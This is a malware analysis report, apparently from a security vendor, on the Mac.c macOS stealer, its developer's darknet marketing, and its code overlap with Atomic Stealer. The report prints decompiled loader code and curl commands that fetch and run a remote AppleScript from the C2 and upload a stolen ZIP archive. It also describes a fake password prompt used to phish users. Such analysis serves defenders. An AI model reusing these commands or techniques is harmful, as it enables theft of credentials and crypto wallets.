The story of the Mac.c stealer doesn’t begin with a major campaign or breach. It starts in the hushed corners of darknet forums, where a threat actor named ‘mentalpositive’ first emerged, drawing attention with a set of unusual traits that set him apart from other stealer developers.
Moonlock, the cybersecurity division of MacPaw, has been tracking mentalpositive for the past four months. We can already see that it is a new actor taking advantage of a macOS malware market that remains far less saturated than its Windows counterpart, marking the rise of the new wave of threat actors who are both technically skilled and commercially ambitious.
Although only recently active, Mac.c is already competing with larger, more established stealer operations like Atomic macOS Stealer. While it borrows heavily from AMOS and Rodrigo4 malware, it’s tailored for quicker, high-impact data theft. As more URLs are added to its command-and-control infrastructure, Mac.c appears to be part of a larger underground ecosystem targeting macOS users.
What also stands out is a methodical and unusually transparent approach to building in public. ‘mentalpositive’ shared progress updates and even collected feedback on Mac.c builds — a surprising level of openness in the typically secretive world of macOS malware development.
In this article, we trace the evolution of Mac.c, unpack mentalpositive’s tactics, and examine how this stealer fits into the broader landscape of threats targeting Apple platforms.
A new player on the market
About four months ago, Moonlock Lab first noticed the emergence of the Mac.c stealer and attributed it to a developer under the alias ‘mentalpositive’. This threat actor was one of many new players entering the macOS malware market, a space still far less crowded than the Windows-targeting malware industry.
Similar to other threat actors, ‘mentalpositive’ adopts recent trends in malware development: modular architecture for use across different campaigns, advanced obfuscation techniques, and increasingly complex command-and-control (C2) infrastructures.
However, the target profile and data exfiltration scope of mentalpositive’s Mac.c stand out. It harvests iCloud Keychain credentials, browser-stored passwords, crypto wallets, system metadata, and even files from specific locations on macOS — all using credentials obtained through phishing. By relying on standard system APIs and staged communication methods, it evades many traditional endpoint defences.
Building in public
Beyond technical design, ‘mentalpositive’ exhibited unusual behavior across darknet forums. Over the span of several months, this threat actor used one underground forum to showcase incremental updates to Mac.c, engage with potential users, and actively solicit feedback.
Such publicity may signal an intent to raise visibility and carve out a distinct market presence. It also appears to lay the groundwork for a custom stealer-as-a-service business model aimed squarely at the macOS threat niche.
The screenshots below show how the forum posts evolved over time as new features were announced. Since the original posts were written in Russian, we’ve included a brief explanation for each. The first screenshot shows an early advertisement offering a subscription to stealer updates for $1,500 per month.
on, ‘mentalpositive’ shared a detailed description of Mac.c features. According to them, some of the most notable updates included: replacing the original Ledger Live app, reducing the binary size of the file (for a quicker download and potentially less detectable artifacts through static analysis), and optimization of the administrative panel.
In this context, a panel refers to a web-based interface for ‘mentalpositive’’s customers, the buyers of the Mac.c stealer. It allows them to generate malware builds, track infections (including successful and failed attempts), and manage other campaign details.
As mentioned earlier, ‘mentalpositive’ frequently updated their forum thread to keep potential customers engaged by showing that development is ongoing. Below is an example of such an update, where the threat actor claims to have tested the latest version of the stealer against macOS versions above 10.12.6. The post also includes a reminder about available communication channels, with links to Telegram, Tox, and Jabber.
And finally, the most recent post at the time of writing outlines additional updates. These include bypassing XProtect by generating unique builds from scratch, an expanded list of supported browsers, file grabber activation via the control panel, and most notably a separate module for phishing Trezor seed phrases. Similar to the existing Ledger Live module, this new feature is available for an additional one-time payment of $1,000.
Similarities with AMOS
Interestingly, some developers behind competing stealers have questioned the originality of Mac.c code, suggesting it might be a modified version of the well-known Atomic macOS Stealer.
Moonlock Lab analyzed and compared the latest payloads of both stealers, and AMOS is covered in detail in one of our recent articles. While the two share portions of identical code, the functionality implemented by ‘mentalpositive’ is significantly more limited. This points to either direct code borrowing or their shared origin.
AMOS (Highlighted in red color)
SHA256: 54b9576aad25d54d703adb9a26feaa5d80f44b94731ff8ecff7cf1ebc15cf3ff
First seen in the wild: 2025-06-19 20:18:55
‘mentalpositive‘ (Highlighted in green color)
SHA256: 7dfd77f09a90d8d01a7d74a84685645622ae87a90b5dd72a5750daac9195c467
First seen in the wild: 2025-07-01 15:41:49
A detailed inspection reveals substantial function-level code reuse between Mac.c and Atomic macOS Stealer. In several cases, functions appear to have been copied verbatim or with minimal alterations, suggesting either a shared development origin or direct code borrowing.
Functionally, both stealers share an almost identical feature set designed for comprehensive data theft on macOS systems. In both cases, these capabilities are executed using native macOS tools and scripting, minimizing external dependencies and improving evasion. The table below outlines these shared features:
Despite their shared internals, AMOS introduces significant advancements in persistence, modularity, and targeting. The table below highlights features unique to each stealer:
While Mac.c operates as a compact, non-persistent AppleScript-based stealer, Atomic macOS Stealer represents a more advanced, persistent, and modular threat of the same design philosophy.
The high degree of code reuse raises important questions about attribution, builder availability, and potential collaboration within macOS malware development circles. While ‘mentalpositive’s’ tool may be newer, it is not entirely original — and AMOS remains the more capable and dangerous stealer variant observed in the wild today.
How Mac.c stealer works
‘mentalpositive’ was already mentioned in a previous Moonlock Lab report. Since then, their operational domain didn’t change: https://lagkill[.]cc. It hosts PHP files used for tracking victims and some exfiltration procedures.
This domain has relations to multiple Mach-O files, but in general the workflow can be summarized into 2 stages: Mach-O initial executable and AppleScript payload.
Stage 1: Mach-O initial executable
The Mac.c stealer employs a multi-stage execution strategy, with its first stage acting as a lightweight loader responsible for stealthy deployment, environmental sanitization, and controlled delivery of the next payload. Below is a detailed breakdown of this stage, based on reverse engineering of the sample 90309fc3b90df1d7b6d747c5afa63fca6262721ce39c34da4b13901d53b919a3.
undefined8 entry(void)
{
pid_t pVar1;
int res;
char cmd [1024];
char id [56];
undefined7 url_C2;
undefined4 uStack_29;
long local_20;
local_20 = *(long *)PTR____stack_chk_guard_100001008;
pVar1 = _fork();
if (-1 < pVar1) {
if (pVar1 != 0) {
LAB_100000e59:
if (*(long *)PTR____stack_chk_guard_100001008 == local_20) {
return 0;
}
___stack_chk_fail();
}
pVar1 = _setsid();
if (-1 < pVar1) {
_freopen("/dev/null","r",*(FILE **)PTR____stdinp_100001018);
_freopen("/dev/null","w",*(FILE **)PTR____stdoutp_100001020);
_freopen("/dev/null","w",*(FILE **)PTR____stderrp_100001010);
/* SandBox protection */
_system("killall Terminal");
/* Create C2: lagkill.cc */
url_C2 = 0x6c6c696b67616c;
uStack_29 = 0x63632e;
builtin_strncpy(id + 0x20,"3f2ffd13c8",0xb);
builtin_strncpy(id + 0x10,"592960231c11198d",0x10);
builtin_strncpy(id,"17508488681a0237",0x10);
/* Run upload and run applescript stealer logic:
curl -s https://lagkill.cc/src.php?txd=17508488681a0237592960231c11198d3f2ffd13c8 | osascript */
_snprintf(cmd,0x400,"curl -s https://%s/src.php?txd=%s | osascript");
res = _system(cmd);
if (res == 0) {
/* Run upload to lagkill.cc*/
_snprintf(cmd,0x400,
"curl -X POST -H "cl: 0" --max-time 300 -F "file=@/tmp/osalogging.zip" -F "bu ildtxd=%s" https://%s/"
,id,&url_C2);
res = _system(cmd);
if (res == 0) goto LAB_100000e59;
}
}
}
_exit(1);
}
Mac.c entry point (entry()) starts by forking the current process and creating a new session via setsid(), effectively daemonizing itself. This detaches malware from any controlling terminal and allows it to run in the background.
In addition, we observed basic functionality that redirects all standard input, output, and error streams to /dev/null using freopen(). This neutralizes console output that could otherwise raise suspicion in debug logs or terminal monitors.
The malware hardcodes the command-and-control (C2) domain as: lagkill[.]cc. It also generates a unique victim identifier by concatenating multiple static hexadecimal strings. This results in a pseudo-unique txd token, used to fingerprint the infected host or to trace infection batches during C2 communication.
The key action in this stage is retrieving and executing a remote AppleScript. This is achieved by chaining curl and osascript to download and immediately run the payload:
curl -s https://lagkill[.]cc/src.php?txd=<victim_id> | osascript
This method allows the attacker to update the payload dynamically without modifying the loader, making attribution more difficult due to the indirect execution path.
After AppleScript execution (which likely performs local data theft), the loader checks for success and proceeds to exfiltrate a ZIP archive back to the same C2 server:
curl -X POST -H "cl: 0" --max-time 300 -F "file=@/tmp/osalogging.zip" -F "buildtxd=<victim_id>" https://lagkill[.]cc/
This upload is sent using custom headers (cl: 0) and a generous timeout to accommodate slower systems, suggesting careful attention to operational stability.
Stage 2: AppleScript payload
The second stage of Mac.c stealer is where the real damage begins. An AppleScript payload weaponizes native macOS scripting capabilities to extract a wide array of sensitive data. Remarkably, it achieves this without dropping any compiled binaries or requiring elevated privileges and a phished password is enough.
Below, we break down the second-stage payload’s tactics by category.
Credential theft & CLI abuse
- The script launches a fake system prompt requesting user password. This is stored in plaintext and reused later.
- it silently invokes the security CLI utility to extract saved credentials from Keychain, specifically targeting Google Chrome and Chromium-based apps.
- Retrieved data is written to /tmp/<random>/Password.
This phishing tactic leverages native trust and familiar macOS interfaces to bypass user skepticism. No code signing or persistence tricks needed.
Browser and extensions data theft
- Targeted browsers include Chrome, Edge, Brave, and Yandex.
- Extracted files include: login data, cookies, web data, IndexedDB storage.
Finally, the script iterates through hundreds of known crypto wallet extensions — such as MetaMask, Phantom, and Binance Wallet — and pulls local storage files or session artifacts.
All browser-related loot is organised under /tmp/<random>/Browsers/.
Hot wallet and crypto app harvesting
The payload scans for the presence of popular desktop crypto wallets, including:
- Electrum
- Exodus
- Coinomi
- Atomic
- Monero
- Wasabi
- Ledger Live
Relevant data such as wallet files and configuration databases (e.g., LevelDB directories) are copied into /tmp/<random>/Cryptowallets/.
This indicates a clear financial motivation, with targeting tailored toward the macOS crypto-enthusiast user base.
File-grabber and its logic
To maximize intelligence value while minimizing footprint, the script does the following:
- Recursively searches the user’s Desktop, Documents, and Downloads folders.
- Filters for high-value file types: .wallet, .seed, .txt, .keys, .pdf, .docx.
- Enforces a file size limit ~10MB.
This approach prioritizes low-noise, high-signal files that include potential seed phrases, recovery keys, and sensitive PDFs.
Collection of messaging and app artifacts
- Mac.c copies the tdata folder, which may include active session tokens or cached messages (those that are connected to Telegram).
- Configuration files from Binance and Ton Keeper apps are copied too, offering insight into wallet usage, login patterns, or stored keys.
- Typical use of system_profiler to collect hardware, macOS, and display data.
This wide sweep suggests an intent to reconstruct the user’s context, not just exfiltrate assets.
Archiving and exfiltration
- All collected data is organized into a structured temporary directory /tmp/<random>/.
- Using ditto -c -k, macOS’s native archiving tool, the entire directory is zipped into /tmp/osalogging.zip.
- After archiving, the payload exits. There is no background monitoring or repeated execution.
This stealth-focused, ephemeral design points to a quick smash-and-grab operation, likely intended for single-use access or as part of a larger infection chain.
Phishing strategy
A particularly deceptive technique used in ‘mentalpositive’’s second-stage payload involves a fake system prompt disguised as a game permission request. Specifically, Mac.c invokes a native AppleScript dialog asking the user to enter their macOS login password in order to “allow the game Innocent Witches to save its files.”
Additionally, such payloads come with a build tag ‘innocent’ (or, in some cases, ‘inocent’), likely used to identify infections tied to this specific campaign.
Lastly, the domain likely rented specifically for this campaign is innocentwitches[.]top. While the root URL redirects to Google, it also includes an /upload.php route, allowing the threat actor to receive stolen data.
Conclusions
As Mac computers continue to rise in popularity among average users and crypto holders in particular, we expect stealers to scale not only in their capability, but in their market share and impact.
Mac.c isn’t an isolated case, but part of a growing trend toward professionalized macOS malware development. While it reuses key functions and architectural elements from the popular Atomic Stealer, it also brings novelty into macOS stealers and sets them out on a distinct trajectory.
What we may be witnessing is the emergence of a new business model: stealer-as-a-service, aimed specifically at macOS users and branching out from the broader malware-as-a-service industry. Although Atomic Stealer remains a more dangerous variant, it might be only a matter of time when new ambitious players use its legacy to build a stealthier and more accessible malware product.
IOC
https://innocentwitches[.]com/upload.php
https://lagkill[.]cc/src.php
7dfd77f09a90d8d01a7d74a84685645622ae87a90b5dd72a5750daac9195c467
33e9b605406ffb779dc912a1ce66436a8867b88e087bc34b2b2fca2160b64ca7
57b86903c46cf45c968aa9618c0a45eb135e05b24c13c0d27442d4387de37319
61f6b48e8433f6bf212c06157bead662f1833b72671b8f832ff3af032fdc4582
